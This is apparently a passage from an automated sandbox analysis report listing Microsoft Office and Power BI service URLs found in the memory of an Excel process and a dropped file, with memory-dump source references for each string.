    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmpString found in binary or memory: https://analysis.windows.net/powerbi/api$;
    Source: EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpString found in binary or memory: https://analysis.windows.net/powerbi/apim
    Source: EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553019049.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551397263.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmpString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.
    Source: EXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech4
    Source: EXCEL.EXE, 00000000.00000003.536713602.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550909072.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422673092.00000000136A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.aadrm.com
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.aadrm.com/
    Source: EXCEL.EXE, 00000000.00000003.536713602.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550909072.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422673092.00000000136A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmpString found in binary or memory: https://api.aadrm.com/3/
    Source: EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmpString found in binary or memory: https://api.addins.omex.office.net/app
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
    Source: EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmpString found in binary or memory: https://api.addins.store.office.com/addinstemp
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.addins.store.office.com/addinstemplate
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://api.addins.store.office.com/app/querylp
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.cortana.ai
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.diagnostics.office.com
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://api.diagnostics.office.com/
    Source: EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmpString found in binary or memory: https://api.diagnostics.office.comoint
    Source: EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
    Source: EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpString found in binary or memory: https://api.diagnosticssdf.office.comA
    Source: EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.microsoftstream.com/api/
    Source: AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.office.net
    Source: EXCEL.EXE, 00000000.00000003.536713602.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550909072.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422673092.00000000136A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmpString found in binary or memory: https://api.office.net70
    Source: EXCEL.EXE, 00000000.00000003.678903430.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437501159.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421661704.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499656687.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.693932805.000000000FED9000.00000004.00000001.sdmpString found in binary or memory: https://api.office.netC
    Source: EXCEL.EXE, 00000000.00000003.678903430.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437501159.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421661704.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499656687.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.693932805.000000000FED9000.00000004.00000001.sdmpString found in binary or memory: https://api.office.netQ#
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpString found in binary or memory: https://api.office.netS
    Source: EXCEL.EXE, 00000000.00000003.678903430.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437501159.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421661704.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499656687.000000000FED9000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.693932805.000000000FED9000.00000004.00000001.sdmpString found in binary or memory: https://api.office.net_
    Source: EXCEL.EXE, 00000000.00000003.536713602.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678600620.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550909072.00000000136BD000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499446246.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695468754.000000001367C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422673092.00000000136A6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594096039.000000001367C000.00000004.00000001.sdmpString found in binary or memory: https://api.office.netd0
    Source: EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.onedrive.com
    Source: EXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpString found in binary or memory: https://api.onedrive.comcent
    Source: EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmpString found in binary or memory: https://api.powerbi.
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
    Source: EXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
    Source: EXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
